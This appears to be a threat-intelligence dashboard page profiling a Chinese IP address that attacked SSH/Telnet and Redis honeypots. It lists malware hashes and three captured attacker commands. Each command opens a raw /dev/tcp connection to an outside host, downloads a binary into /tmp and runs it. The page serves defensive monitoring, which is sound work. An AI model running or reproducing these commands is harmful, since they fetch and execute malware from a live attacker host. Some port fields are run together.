Active Threat • HIGH

120.220.243.134

Country of Origin🇨🇳 China

First Detection5/5/2026

Last Activity5/5/2026

ISPChina Mobile Communications Group Co., Ltd.

🎯

121

Total Attacks

🔌

Ports

📡

Attack Types

🦠

Malware

Geolocation

Country: 🇨🇳 China
City: Unknown
ASN: AS9808
ISP: China Mobile Communications Group Co., Ltd.

Attack Types

ssh_telnet_honeypot

redis_honeypot

Attacked Ports

226379

Associated Malware

6bff01c7eb13fa6d0e0f...→7a20fe866ea679f935ce...→f11fbf8273184b62c09b...→

Executed Commands

nohup bash -c "exec 6<>/dev/tcp/114.215.193.12/60124 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/CcjQHuFCWJ && chmod +x /tmp/CcjQHuFCWJ && /tmp/CcjQHuFCWJ t563SDRXtI/P1I+/Si5ItITMyo+0TSBIv4zUy4i2VzFLsJDNwoSwSTFJtjbB90EVOHF/zDM6" &

nohup bash -c "exec 6<>/dev/tcp/114.215.193.12/60124 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/HaHa6W74Pj && chmod +x /tmp/HaHa6W74Pj && /tmp/HaHa6W74Pj PUxsW3yIMpd9RGxVT1Jdb1B+ljGUfEpsVU5SXWtaZpcykGZdZVZKTF1tWriEi85AtTQTCKTW6MR9cA==" &

nohup bash -c "exec 6<>/dev/tcp/114.215.193.12/60124 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/LggnKrORwP && chmod +x /tmp/LggnKrORwP && /tmp/LggnKrORwP o+dhqPG7p/Ssfvbb0elhq/+jpfSrZOfT2/V+qPOlu/SrZunV2v1mqfSlpbLNWbCtSt9oKQkKUB8T" &

Shodan InternetDB ExposureShodan

InternetDB data, not real-time

Ports

11160006379

CPEs

cpe:/a:redislabs:redis

Risk Assessment

/100

LowMediumHighCritical